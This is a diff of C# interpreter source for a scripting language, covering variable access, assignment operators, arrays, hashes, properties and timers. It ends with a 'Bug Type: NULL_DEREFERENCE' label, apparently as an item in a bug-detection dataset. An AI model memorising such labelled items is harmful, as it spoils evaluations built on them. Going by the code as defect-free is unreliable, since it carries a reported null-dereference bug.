+            string pathname = script.GetFilePath(filename);
+            string[] lines = Utils.GetFileLines(pathname);
+
+            string includeFile = string.Join(Environment.NewLine, lines);
+            Dictionary<int, int> char2Line;
+            includeScript = Utils.ConvertToScript(includeFile, out char2Line, pathname);
+            ParsingScript tempScript = new ParsingScript(includeScript, 0, char2Line);
+            tempScript.Filename = pathname;
+            tempScript.OriginalScript = string.Join(Constants.END_LINE.ToString(), lines);
+            tempScript.ParentScript = script;
+            tempScript.InTryBlock = script.InTryBlock;
+
+            return tempScript;
+        }
+    }
+
+    // Get a value of a variable or of an array element
+    public class GetVarFunction : ParserFunction
+    {
+        public GetVarFunction(Variable value)
+        {
+            m_value = value;
+        }
+
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // First check if this element is part of an array:
+            if (script.TryPrev() == Constants.START_ARRAY)
+            {
+                // There is an index given - it must be for an element of the tuple.
+                if (m_value.Tuple == null || m_value.Tuple.Count == 0)
+                {
+                    throw new ArgumentException("No tuple exists for the index");
+                }
+
+                if (m_arrayIndices == null)
+                {
+                    string startName = script.Substr(script.Pointer - 1);
+                    m_arrayIndices = Utils.GetArrayIndices(script, startName, m_delta, (newStart, newDelta) => { startName = newStart; m_delta = newDelta; } );
+                }
+
+                script.Forward(m_delta);
+                while (script.MoveForwardIf(Constants.END_ARRAY))
+                {
+                }
+
+                Variable result = Utils.ExtractArrayElement(m_value, m_arrayIndices);
+                if (script.TryCurrent() != '.')
+                {
+                    return result;
+                }
+
+                script.Forward();
+                m_propName = Utils.GetToken(script, Constants.NEXT_OR_END_ARRAY);
+                Variable propValue = result.GetProperty(m_propName, script);
+                Utils.CheckNotNull(propValue, m_propName);
+                return propValue;
+            }
+
+            // Now check that this is an object:
+            if (!string.IsNullOrWhiteSpace(m_propName))
+            {
+                string temp = m_propName;
+                m_propName = null; // Need this to reset for recursive calls
+                Variable propValue = m_value.Type == Variable.VarType.ENUM ?
+                                     m_value.GetEnumProperty(temp, script) :
+                                     m_value.GetProperty(temp, script);
+                Utils.CheckNotNull(propValue, temp);
+                return propValue;
+            }
+
+            // Otherwise just return the stored value.
+            return m_value;
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            // First check if this element is part of an array:
+            if (script.TryPrev() == Constants.START_ARRAY)
+            {
+                // There is an index given - it must be for an element of the tuple.
+                if (m_value.Tuple == null || m_value.Tuple.Count == 0)
+                {
+                    throw new ArgumentException("No tuple exists for the index");
+                }
+
+                if (m_arrayIndices == null)
+                {
+                    string startName = script.Substr(script.Pointer - 1);
+                    m_arrayIndices = await Utils.GetArrayIndicesAsync(script, startName, m_delta, (newStart, newDelta) => { startName = newStart; m_delta = newDelta; });
+                }
+
+                script.Forward(m_delta);
+                while (script.MoveForwardIf(Constants.END_ARRAY))
+                {
+                }
+
+                Variable result = Utils.ExtractArrayElement(m_value, m_arrayIndices);
+                if (script.TryCurrent() != '.')
+                {
+                    return result;
+                }
+
+                script.Forward();
+                m_propName = Utils.GetToken(script, Constants.NEXT_OR_END_ARRAY);
+                Variable propValue = await result.GetPropertyAsync(m_propName, script); 
+                Utils.CheckNotNull(propValue, m_propName);
+                return propValue;
+            }
+
+            // Now check that this is an object:
+            if (!string.IsNullOrWhiteSpace(m_propName))
+            {
+                string temp = m_propName;
+                m_propName = null; // Need this to reset for recursive calls
+
+                Variable propValue = m_value.Type == Variable.VarType.ENUM ?
+                         m_value.GetEnumProperty(temp, script) :
+                         await m_value.GetPropertyAsync(temp, script);
+                Utils.CheckNotNull(propValue, temp, script);
+                return propValue;
+            }
+
+            // Otherwise just return the stored value.
+            return m_value;
+        }
+
+        public int Delta
+        {
+            set { m_delta = value; }
+        }
+        public Variable Value
+        {
+            get { return m_value; }
+        }
+        public List<Variable> Indices
+        {
+            set { m_arrayIndices = value; }
+        }
+        public string PropertyName
+        {
+            set { m_propName = value; }
+        }
+
+        Variable m_value;
+        int m_delta = 0;
+        List<Variable> m_arrayIndices = null;
+        string m_propName;
+    }
+    class IncrementDecrementFunction : ActionFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            bool prefix = string.IsNullOrWhiteSpace(m_name);
+            if (prefix)
+            {// If it is a prefix we do not have the variable name yet.
+                Name = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+            }
+
+            // Value to be added to the variable:
+            int valueDelta = m_action == Constants.INCREMENT ? 1 : -1;
+            int returnDelta = prefix ? valueDelta : 0;
+
+            // Check if the variable to be set has the form of x[a][b],
+            // meaning that this is an array element.
+            double newValue = 0;
+            List<Variable> arrayIndices = Utils.GetArrayIndices(script, m_name, (string name) => { m_name = name; });
+
+            ParserFunction func = ParserFunction.GetFunction(m_name, script);
+            Utils.CheckNotNull(m_name, func);
+
+            Variable currentValue = func.GetValue(script);
+            currentValue = currentValue.DeepClone();
+
+            if (arrayIndices.Count > 0 || script.TryCurrent() == Constants.START_ARRAY)
+            {
+                if (prefix)
+                {
+                    string tmpName = m_name + script.Rest;
+                    int delta = 0;
+                    arrayIndices = Utils.GetArrayIndices(script, tmpName, delta, (string t, int d) => { tmpName = t; delta = d; });
+                    script.Forward(Math.Max(0, delta - tmpName.Length));
+                }
+
+                Variable element = Utils.ExtractArrayElement(currentValue, arrayIndices);
+                script.MoveForwardIf(Constants.END_ARRAY);
+
+                newValue = element.Value + returnDelta;
+                element.Value += valueDelta;
+            }
+            else
+            { // A normal variable.
+                newValue = currentValue.Value + returnDelta;
+                currentValue.Value += valueDelta;
+            }
+
+            ParserFunction.AddGlobalOrLocalVariable(m_name,
+                                                    new GetVarFunction(currentValue));
+            return new Variable(newValue);
+        }
+
+        override public ParserFunction NewInstance()
+        {
+            return new IncrementDecrementFunction();
+        }
+    }
+
+    class OperatorAssignFunction : ActionFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // Value to be added to the variable:
+            Variable right = Utils.GetItem(script);
+
+            List<Variable> arrayIndices = Utils.GetArrayIndices(script, m_name, (string name) => { m_name = name; });
+
+            ParserFunction func = ParserFunction.GetFunction(m_name, script);
+            Utils.CheckNotNull(func, m_name, script);
+
+            Variable currentValue = func.GetValue(script);
+            currentValue = currentValue.DeepClone();
+            Variable left = currentValue;
+
+            if (arrayIndices.Count > 0)
+            {// array element
+                left = Utils.ExtractArrayElement(currentValue, arrayIndices);
+                script.MoveForwardIf(Constants.END_ARRAY);
+            }
+
+            if (left.Type == Variable.VarType.NUMBER)
+            {
+                NumberOperator(left, right, m_action);
+            }
+            else
+            {
+                StringOperator(left, right, m_action);
+            }
+
+            if (arrayIndices.Count > 0)
+            {// array element
+                AssignFunction.ExtendArray(currentValue, arrayIndices, 0, left);
+                ParserFunction.AddGlobalOrLocalVariable(m_name,
+                                                         new GetVarFunction(currentValue));
+            }
+            else
+            {
+                ParserFunction.AddGlobalOrLocalVariable(m_name,
+                                                         new GetVarFunction(left));
+            }
+            return left;
+        }
+
+        static void NumberOperator(Variable valueA,
+                                   Variable valueB, string action)
+        {
+            switch (action)
+            {
+                case "+=":
+                    valueA.Value += valueB.Value;
+                    break;
+                case "-=":
+                    valueA.Value -= valueB.Value;
+                    break;
+                case "*=":
+                    valueA.Value *= valueB.Value;
+                    break;
+                case "/=":
+                    valueA.Value /= valueB.Value;
+                    break;
+                case "%=":
+                    valueA.Value %= valueB.Value;
+                    break;
+                case "&=":
+                    valueA.Value = (int)valueA.Value & (int)valueB.Value;
+                    break;
+                case "|=":
+                    valueA.Value = (int)valueA.Value | (int)valueB.Value;
+                    break;
+                case "^=":
+                    valueA.Value = (int)valueA.Value ^ (int)valueB.Value;
+                    break;
+            }
+        }
+        static void StringOperator(Variable valueA,
+          Variable valueB, string action)
+        {
+            switch (action)
+            {
+                case "+=":
+                    if (valueB.Type == Variable.VarType.STRING)
+                    {
+                        valueA.String += valueB.AsString();
+                    }
+                    else
+                    {
+                        valueA.String += valueB.Value;
+                    }
+                    break;
+            }
+        }
+
+        override public ParserFunction NewInstance()
+        {
+            return new OperatorAssignFunction();
+        }
+    }
+
+    class AssignFunction : ActionFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            m_name = Constants.GetRealName(m_name);
+            script.CurrentAssign = m_name;
+            Variable varValue = Utils.GetItem(script);
+
+            // First try processing as an object (with a dot notation):
+            Variable result = ProcessObject(script, varValue);
+            if (result != null)
+            {
+                ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(result));
+                return result;
+            }
+
+            // Check if the variable to be set has the form of x[a][b]...,
+            // meaning that this is an array element.
+            List<Variable> arrayIndices = Utils.GetArrayIndices(script, m_name, (string name) => { m_name = name; });
+
+            if (arrayIndices.Count == 0)
+            {
+                ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(varValue));
+                Variable retVar = varValue.DeepClone();
+                retVar.CurrentAssign = m_name;
+                return retVar;
+                //return varValue.DeepClone();
+            }
+
+            Variable array;
+
+            ParserFunction pf = ParserFunction.GetFunction(m_name, script);
+            if (pf != null)
+            {
+                array = pf.GetValue(script);
+            }
+            else
+            {
+                array = new Variable();
+            }
+
+            ExtendArray(array, arrayIndices, 0, varValue);
+
+            ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(array));
+            return array;
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            m_name = Constants.GetRealName(m_name);
+            script.CurrentAssign = m_name;
+            Variable varValue = await Utils.GetItemAsync(script);
+
+            // First try processing as an object (with a dot notation):
+            Variable result = await ProcessObjectAsync(script, varValue);
+            if (result != null)
+            {
+                ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(result)); 
+                return result;
+            }
+
+            // Check if the variable to be set has the form of x[a][b]...,
+            // meaning that this is an array element.
+            List<Variable> arrayIndices = await Utils.GetArrayIndicesAsync(script, m_name, (string name) => { m_name = name; });
+
+            if (arrayIndices.Count == 0)
+            {
+                ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(varValue));
+                Variable retVar = varValue.DeepClone();
+                retVar.CurrentAssign = m_name;
+                return retVar;
+                //return varValue.DeepClone();
+            }
+
+            Variable array;
+
+            ParserFunction pf = ParserFunction.GetFunction(m_name, script);
+            if (pf != null)
+            {
+                array = await pf.GetValueAsync(script);
+            }
+            else
+            {
+                array = new Variable();
+            }
+
+            ExtendArray(array, arrayIndices, 0, varValue);
+
+            ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(array));
+            return array;
+        }
+
+        Variable ProcessObject(ParsingScript script, Variable varValue)
+        {
+            if (script.CurrentClass != null)
+            {
+                script.CurrentClass.AddProperty(m_name, varValue);
+                return varValue.DeepClone();
+            }
+            string varName = m_name;
+            if (script.ClassInstance != null)
+            {
+                //varName = script.ClassInstance.InstanceName + "." + m_name;
+                varValue = script.ClassInstance.SetProperty(m_name, varValue).Result;
+                return varValue.DeepClone();
+            }
+
+            int ind = varName.IndexOf('.');
+            if (ind <= 0)
+            {
+                return null;
+            }
+
+            Utils.CheckForValidName(varName, script);
+
+            string name = varName.Substring(0, ind);
+            string prop = varName.Substring(ind + 1);
+
+            if (ParserFunction.TryAddToNamespace(prop, name, varValue))
+            {
+                return varValue.DeepClone();
+            }
+
+            ParserFunction existing = ParserFunction.GetFunction(name, script);
+            Variable baseValue = existing != null ? existing.GetValue(script) : new Variable(Variable.VarType.ARRAY);
+            baseValue.SetProperty(prop, varValue, name);
+
+            ParserFunction.AddGlobalOrLocalVariable(name, new GetVarFunction(baseValue));
+            //ParserFunction.AddGlobal(name, new GetVarFunction(baseValue), false);
+
+            return varValue.DeepClone();
+        }
+        async Task<Variable> ProcessObjectAsync(ParsingScript script, Variable varValue)
+        {
+            if (script.CurrentClass != null)
+            {
+                script.CurrentClass.AddProperty(m_name, varValue);
+                return varValue.DeepClone();
+            }
+            string varName = m_name;
+            if (script.ClassInstance != null)
+            {
+                //varName = script.ClassInstance.InstanceName + "." + m_name;
+                await script.ClassInstance.SetProperty(m_name, varValue);
+                return varValue.DeepClone();
+            }
+
+            int ind = varName.IndexOf('.');
+            if (ind <= 0)
+            {
+                return null;
+            }
+
+            Utils.CheckForValidName(varName, script);
+
+            string name = varName.Substring(0, ind);
+            string prop = varName.Substring(ind + 1);
+
+            if (ParserFunction.TryAddToNamespace(prop, name, varValue))
+            {
+                return varValue.DeepClone();
+            }
+
+            ParserFunction existing = ParserFunction.GetFunction(name, script);
+            Variable baseValue = existing != null ? await existing.GetValueAsync(script) : new Variable(Variable.VarType.ARRAY);
+            await baseValue.SetPropertyAsync(prop, varValue, name);
+
+            ParserFunction.AddGlobalOrLocalVariable(name, new GetVarFunction(baseValue));
+            //ParserFunction.AddGlobal(name, new GetVarFunction(baseValue), false);
+
+            return varValue.DeepClone();
+        }
+
+
+        override public ParserFunction NewInstance()
+        {
+            return new AssignFunction();
+        }
+
+        public static void ExtendArray(Variable parent,
+                         List<Variable> arrayIndices,
+                         int indexPtr,
+                         Variable varValue)
+        {
+            if (arrayIndices.Count <= indexPtr)
+            {
+                return;
+            }
+
+            Variable index = arrayIndices[indexPtr];
+            int currIndex = ExtendArrayHelper(parent, index);
+
+            if (arrayIndices.Count - 1 == indexPtr)
+            {
+                parent.Tuple[currIndex] = varValue;
+                return;
+            }
+
+            Variable son = parent.Tuple[currIndex];
+            ExtendArray(son, arrayIndices, indexPtr + 1, varValue);
+        }
+
+        private static int ExtendArrayHelper(Variable parent, Variable indexVar)
+        {
+            parent.SetAsArray();
+
+            int arrayIndex = parent.GetArrayIndex(indexVar);
+            if (arrayIndex < 0)
+            {
+                // This is not a "normal index" but a new string for the dictionary.
+                string hash = indexVar.AsString();
+                arrayIndex = parent.SetHashVariable(hash, Variable.NewEmpty());
+                return arrayIndex;
+            }
+
+            if (parent.Tuple.Count <= arrayIndex)
+            {
+                for (int i = parent.Tuple.Count; i <= arrayIndex; i++)
+                {
+                    parent.Tuple.Add(Variable.NewEmpty());
+                }
+            }
+            return arrayIndex;
+        }
+    }
+
+    class DeepCopyFunction : ActionFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            Variable varValue = Utils.GetItem(script);
+            return varValue.DeepClone(); ;
+        }
+    }
+
+    class TokenizeLinesFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, m_name);
+
+            string varName = Utils.GetSafeString(args, 0);
+            Variable lines = Utils.GetSafeVariable(args, 1);
+            int fromLine = Utils.GetSafeInt(args, 2, 0);
+            string sepStr = Utils.GetSafeString(args, 3, "\t");
+            if (sepStr == "\\t")
+            {
+                sepStr = "\t";
+            }
+            char[] sep = sepStr.ToCharArray();
+
+            // var function = ParserFunction.GetFunction(varName, script);
+            Variable allTokensVar = new Variable(Variable.VarType.ARRAY);
+
+            for (int counter = fromLine; counter < lines.Tuple.Count; counter++)
+            {
+                Variable lineVar = lines.Tuple[counter];
+#pragma warning disable 219
+                // bugbug - the toAdd has side effects
+                Variable toAdd = new Variable(counter - fromLine);
+#pragma warning restore 219
+                string line = lineVar.AsString();
+                var tokens = line.Split(sep);
+                Variable tokensVar = new Variable(Variable.VarType.ARRAY);
+                foreach (string token in tokens)
+                {
+                    tokensVar.Tuple.Add(new Variable(token));
+                }
+                allTokensVar.Tuple.Add(tokensVar);
+            }
+
+            ParserFunction.AddGlobalOrLocalVariable(varName,
+                                                    new GetVarFunction(allTokensVar));
+
+            return Variable.EmptyInstance;
+        }
+    }
+
+    class AddVariablesToHashFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 3, m_name);
+
+            string varName = Utils.GetSafeString(args, 0);
+            Variable lines = Utils.GetSafeVariable(args, 1);
+            int fromLine = Utils.GetSafeInt(args, 2);
+            string hash2 = Utils.GetSafeString(args, 3);
+            string sepStr = Utils.GetSafeString(args, 4, "\t");
+            if (sepStr == "\\t")
+            {
+                sepStr = "\t";
+            }
+            char[] sep = sepStr.ToCharArray();
+
+            var function = ParserFunction.GetFunction(varName, script);
+            Variable mapVar = function != null ? function.GetValue(script) :
+                                        new Variable(Variable.VarType.ARRAY);
+
+            for (int counter = fromLine; counter < lines.Tuple.Count; counter++)
+            {
+                Variable lineVar = lines.Tuple[counter];
+                Variable toAdd = new Variable(counter - fromLine);
+                string line = lineVar.AsString();
+                var tokens = line.Split(sep);
+                string hash = tokens[0];
+                mapVar.AddVariableToHash(hash, toAdd);
+                if (!string.IsNullOrWhiteSpace(hash2) &&
+                    !hash2.Equals(hash, StringComparison.OrdinalIgnoreCase))
+                {
+                    mapVar.AddVariableToHash(hash2, toAdd);
+                }
+            }
+
+            ParserFunction.AddGlobalOrLocalVariable(varName,
+                                              new GetVarFunction(mapVar));
+            return Variable.EmptyInstance;
+        }
+    }
+    class AddVariableToHashFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 3, m_name);
+
+            string varName = Utils.GetSafeString(args, 0);
+            Variable toAdd = Utils.GetSafeVariable(args, 1);
+            string hash = Utils.GetSafeString(args, 2);
+
+            var function = ParserFunction.GetFunction(varName, script);
+            Variable mapVar = function != null ? function.GetValue(script) :
+                                        new Variable(Variable.VarType.ARRAY);
+
+            mapVar.AddVariableToHash(hash, toAdd);
+            for (int i = 3; i < args.Count; i++)
+            {
+                string hash2 = Utils.GetSafeString(args, 3);
+                if (!string.IsNullOrWhiteSpace(hash2) &&
+                    !hash2.Equals(hash, StringComparison.OrdinalIgnoreCase))
+                {
+                    mapVar.AddVariableToHash(hash2, toAdd);
+                }
+            }
+
+            ParserFunction.AddGlobalOrLocalVariable(varName,
+                                                new GetVarFunction(mapVar));
+
+            return Variable.EmptyInstance;
+        }
+    }
+    class TokenCounterFunction : ParserFunction, IArrayFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, m_name);
+
+            Variable all = Utils.GetSafeVariable(args, 0);
+            string varName = Utils.GetSafeString(args, 1);
+            int index = Utils.GetSafeInt(args, 2);
+
+            // var function = ParserFunction.GetFunction(varName, script);
+            Variable mapVar = new Variable(Variable.VarType.ARRAY);
+
+            if (all.Tuple == null)
+            {
+                return Variable.EmptyInstance;
+            }
+
+            string currentValue = "";
+            int currentCount = 0;
+
+            int globalCount = 0;
+
+            for (int i = 0; i < all.Tuple.Count; i++)
+            {
+                Variable current = all.Tuple[i];
+                if (current.Tuple == null || current.Tuple.Count < index)
+                {
+                    break;
+                }
+                string newValue = current.Tuple[index].AsString();
+                if (currentValue != newValue)
+                {
+                    currentValue = newValue;
+                    currentCount = 0;
+                }
+                mapVar.Tuple.Add(new Variable(currentCount));
+                currentCount++;
+                globalCount++;
+            }
+
+            ParserFunction.AddGlobalOrLocalVariable(varName,
+                                                new GetVarFunction(mapVar));
+            // Script - Need to enable the warnings
+#pragma warning restore 219
+            return mapVar;
+        }
+    }
+
+    class TypeFunction : ParserFunction, IStringFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name);
+
+            bool complexVariable = Utils.GetSafeInt(args, 1, 0) == 1;
+            Variable element = null;
+            if (complexVariable)
+            {
+                element = Utils.GetVariable(args[0].AsString(), script, false);
+            }
+            if (element == null)
+            {
+                element = Utils.GetSafeVariable(args, 0);
+            }
+
+            string type = element.GetTypeString();
+            script.MoveForwardIf(Constants.END_ARG, Constants.SPACE);
+
+            Variable newValue = new Variable(type);
+            return newValue;
+        }
+    }
+
+    class SizeFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // 1. Get the name of the variable.
+            string varName = Utils.GetToken(script, Constants.END_ARG_ARRAY);
+            Utils.CheckNotEnd(script, m_name);
+
+            List<Variable> arrayIndices = Utils.GetArrayIndices(script, varName, (newName) => { varName = newName; } );
+
+            // 2. Get the current value of the variable.
+            ParserFunction func = ParserFunction.GetFunction(varName, script);
+            Utils.CheckNotNull(varName, func);
+            Variable currentValue = func.GetValue(script);
+            Variable element = currentValue;
+
+            // 2b. Special case for an array.
+            if (arrayIndices.Count > 0)
+            {// array element
+                element = Utils.ExtractArrayElement(currentValue, arrayIndices);
+                script.MoveForwardIf(Constants.END_ARRAY);
+            }
+
+            // 3. Take either the length of the underlying tuple or
+            // string part if it is defined,
+            // or the numerical part converted to a string otherwise.
+            int size = element.GetSize();
+
+            script.MoveForwardIf(Constants.END_ARG, Constants.SPACE);
+
+            Variable newValue = new Variable(size);
+            return newValue;
+        }
+    }
+
+    class DefineLocalFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name);
+
+            string varName = Utils.GetSafeString(args, 0);
+            Variable currentValue = Utils.GetSafeVariable(args, 1);
+
+            if (currentValue == null)
+            {
+                currentValue = new Variable("");
+            }
+
+            string scopeName = Path.GetFileName(script.Filename);
+            ParserFunction.AddLocalScopeVariable(varName, scopeName,
+                                                 new GetVarFunction(currentValue));
+
+            return currentValue;
+        }
+    }
+
+    class GetPropertiesFunction : ParserFunction, IArrayFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+
+            Variable baseValue = args[0];
+            List<Variable> props = baseValue.GetProperties();
+            return new Variable(props);
+        }
+    }
+
+    class GetPropertyFunction : ParserFunction, IArrayFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, m_name, true);
+
+            Variable baseValue = args[0];
+            string propName = Utils.GetSafeString(args, 1);
+
+            Variable propValue = baseValue.GetProperty(propName, script);
+            Utils.CheckNotNull(propValue, propName);
+
+            return new Variable(propValue);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            List<Variable> args = await script.GetFunctionArgsAsync();
+            Utils.CheckArgs(args.Count, 2, m_name, true);
+
+            Variable baseValue = args[0];
+            string propName = Utils.GetSafeString(args, 1);
+
+            Variable propValue = await baseValue.GetPropertyAsync(propName, script);
+            Utils.CheckNotNull(propValue, propName);
+
+            return new Variable(propValue);
+        }
+        public static Variable GetProperty(ParsingScript script, string sPropertyName)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, "GetProperty", true);
+
+            Variable baseValue = args[0];
+
+            Variable propValue = baseValue.GetProperty(sPropertyName, script);
+            Utils.CheckNotNull(propValue, sPropertyName);
+
+            return new Variable(propValue);
+        }
+        public static async Task<Variable> GetPropertyAsync(ParsingScript script, string sPropertyName)
+        {
+            List<Variable> args = await script.GetFunctionArgsAsync();
+            Utils.CheckArgs(args.Count, 1, "GetProperty", true);
+
+            Variable baseValue = args[0];
+
+            Variable propValue = await baseValue.GetPropertyAsync(sPropertyName, script);
+            Utils.CheckNotNull(propValue, sPropertyName);
+
+            return new Variable(propValue);
+        }
+    }
+
+    class SetPropertyFunction : ParserFunction, IArrayFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 3, m_name, true);
+
+            Variable baseValue = args[0];
+            string propName = Utils.GetSafeString(args, 1);
+            Variable propValue = Utils.GetSafeVariable(args, 2);
+
+            Variable result = baseValue.SetProperty(propName, propValue);
+
+            ParserFunction.AddGlobalOrLocalVariable(baseValue.ParsingToken,
+                                                    new GetVarFunction(baseValue));
+            return result;
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            List<Variable> args = await script.GetFunctionArgsAsync();
+            Utils.CheckArgs(args.Count, 3, m_name, true);
+
+            Variable baseValue = args[0];
+            string propName = Utils.GetSafeString(args, 1);
+            Variable propValue = Utils.GetSafeVariable(args, 2);
+
+            Variable result = await baseValue.SetPropertyAsync(propName, propValue);
+
+            ParserFunction.AddGlobalOrLocalVariable(baseValue.ParsingToken,
+                                                    new GetVarFunction(baseValue));
+            return result;
+        }
+
+        public static Variable SetProperty(ParsingScript script, string sPropertyName)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, "SetProperty", true);
+
+            Variable baseValue = args[0];
+            Variable propValue = Utils.GetSafeVariable(args, 1);
+
+            Variable result = baseValue.SetProperty(sPropertyName, propValue);
+
+            ParserFunction.AddGlobalOrLocalVariable(baseValue.ParsingToken,
+                                                    new GetVarFunction(baseValue));
+            return result;
+        }
+        public static async Task<Variable> SetPropertyAsync(ParsingScript script, string sPropertyName)
+        {
+            List<Variable> args = await script.GetFunctionArgsAsync();
+            Utils.CheckArgs(args.Count, 2, "SetProperty", true);
+
+            Variable baseValue = args[0];
+            Variable propValue = Utils.GetSafeVariable(args, 1);
+
+            Variable result = await baseValue.SetPropertyAsync(sPropertyName, propValue);
+
+            ParserFunction.AddGlobalOrLocalVariable(baseValue.ParsingToken,
+                                                    new GetVarFunction(baseValue));
+            return result;
+        }
+    }
+
+    class CancelFunction : ParserFunction
+    {
+        public static bool Canceled { get; set; }
+
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 0, m_name, true);
+
+            bool mode = Utils.GetSafeInt(args, 0, 1) == 1;
+            Canceled = mode;
+
+            return new Variable(Canceled);
+        }
+    }
+
+    public class ScheduleRunFunction : ParserFunction
+    {
+        static Dictionary<string, System.Timers.Timer> m_timers =
+           new Dictionary<string, System.Timers.Timer>();
+
+        bool m_startTimer;
+
+        public ScheduleRunFunction(bool startTimer)
+        {
+            m_startTimer = startTimer;
+        }
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+
+            if (!m_startTimer)
+            {
+                Utils.CheckArgs(args.Count, 1, m_name);
+                string cancelTimerId = Utils.GetSafeString(args, 0);
+                System.Timers.Timer cancelTimer;
+                if (m_timers.TryGetValue(cancelTimerId, out cancelTimer))
+                {
+                    cancelTimer.Stop();
+                    cancelTimer.Dispose();
+                    m_timers.Remove(cancelTimerId);
+                }
+                return Variable.EmptyInstance;
+            }
+
+            Utils.CheckArgs(args.Count, 2, m_name);
+            int timeout      = args[0].AsInt();
+            string strAction = args[1].AsString();
+            string arg       = Utils.GetSafeString(args, 2);
+            string timerId   = Utils.GetSafeString(args, 3);
+            bool autoReset   = Utils.GetSafeInt(args, 4, 0) != 0;
+
+            arg              = Utils.ProtectQuotes(arg);
+            timerId          = Utils.ProtectQuotes(timerId);
+
+            System.Timers.Timer pauseTimer = new System.Timers.Timer(timeout);
+            pauseTimer.Elapsed += (sender, e) =>
+            {
+                if (!autoReset)
+                {
+                    pauseTimer.Stop();
+                    pauseTimer.Dispose();
+                    m_timers.Remove(timerId);
+                }
+                string body = string.Format("{0}({1},{2});", strAction,
+                              "\"" + arg + "\"", "\"" + timerId + "\"");
+
+                ParsingScript tempScript = new ParsingScript(body);
+                tempScript.ExecuteTo();
+            };
+            pauseTimer.AutoReset = autoReset;
+            m_timers[timerId] = pauseTimer;
+
+            pauseTimer.Start();
+
+            return Variable.EmptyInstance;
+        }
+    }
+
+    public class SingletonFunction : ParserFunction
+    {
+        static Dictionary<string, Variable> m_singletons =
+           new Dictionary<string, Variable>();
+
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name);
+
+            string expr = args[0].AsString();
+            Dictionary<int, int> char2Line;
+            expr = Utils.ConvertToScript(expr, out char2Line);
+
+            Variable result;
+            if (m_singletons.TryGetValue(expr, out result))
+            {
+                return result;
+            }
+
+            ParsingScript tempScript = new ParsingScript(expr);
+            result = tempScript.ExecuteTo();
+
+            m_singletons[expr] = result;
+
+            return result;
+        }
+    }
+
+    class GetColumnFunction : ParserFunction, IArrayFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, m_name);
+
+            Variable arrayVar = Utils.GetSafeVariable(args, 0);
+            int col = Utils.GetSafeInt(args, 1);
+            int fromCol = Utils.GetSafeInt(args, 2, 0);
+
+            var tuple = arrayVar.Tuple;
+
+            List<Variable> result = new List<Variable>(tuple.Count);
+            for (int i = fromCol; i < tuple.Count; i++)
+            {
+                Variable current = tuple[i];
+                if (current.Tuple == null || current.Tuple.Count <= col)
+                {
+                    throw new ArgumentException(m_name + ": Index [" + col + "] doesn't exist in column " +
+                                                i + "/" + (tuple.Count - 1));
+                }
+                result.Add(current.Tuple[col]);
+            }
+
+            return new Variable(result);
+        }
+    }
+
+    class GetAllKeysFunction : ParserFunction, IArrayFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            Variable varName = Utils.GetItem(script);
+            Utils.CheckNotNull(varName, m_name);
+
+            List<Variable> results = varName.GetAllKeys();
+
+            return new Variable(results);
+        }
+    }
+
+    class CheckLoaderMainFunction : ParserFunction, IArrayFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            bool isMain = !string.IsNullOrWhiteSpace(script.MainFilename) &&
+                           script.MainFilename == script.Filename;
+
+            return new Variable(isMain);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
